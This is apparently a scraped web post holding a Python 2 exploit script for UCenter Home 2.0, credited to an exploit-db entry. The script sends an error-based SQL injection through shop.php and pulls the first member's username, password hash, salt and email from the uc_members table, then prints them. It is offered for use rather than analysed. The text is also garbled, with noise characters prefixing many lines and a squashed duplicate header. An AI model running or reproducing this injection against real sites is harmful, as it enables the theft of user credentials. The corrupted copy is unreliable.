UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl

' l5 ~4 d/ n$ N% X  K1 j" h
#!/usr/bin/env python  

! y5 S$ v" K5 v1 P  u& ?4 kimport sys  
import urllib2  
- x) y# }1 I0 Eimport re  
, ~' \/ H) L, x* i
/ G8 O7 ^/ c0 Q8 \def info():  
- y! o0 T+ ]* H6 W7 M1 R    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
1 t: b+ k3 s/ V0 G    print 'exp:'  
3 i5 C) W1 c6 [" B+ U) L7 d    print ' ./UCenter_Home_2.0.py site'  
1 _$ u: [" W1 n1 e6 U
def main():  
    if len(sys.argv) != 2:  
        info()  
7 p6 D: O. C9 |; c% k1 E    else:  
0 ~. c' d0 c" \, _0 b        site = sys.argv[1]  
        if site[0:7] == 'http://':  
3 u' v2 R3 o1 E$ ]            sitesite =site  
        elif site[0:8] == 'https://':  
2 g1 B: D7 g( s0 I1 g$ @            sitesite = site  
        else:  
7 L) `; r+ s$ o# W            site = 'http://'+site  
! K; t# X* W$ {" v, V7 R* U# M        try:  
# o; B4 ^' k7 i/ P4 h- B7 o            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
6 N5 ~0 N' y7 a# M/ ~" r! l* t6 h            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
% j9 v% `- {! o1 v% M4 Y            hacked = Msg.split(':')  
            print 'Name:    '+hacked[1]  
: |/ \( B/ t+ @$ e            print 'Passwd:  '+hacked[2]  
            print 'salt:    '+hacked[3]  
( _; G" d/ d3 [" H. X. J            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  
8 k, R3 \3 D: M! n9 x7 `7 t
if __name__ == '__main__':  
    main()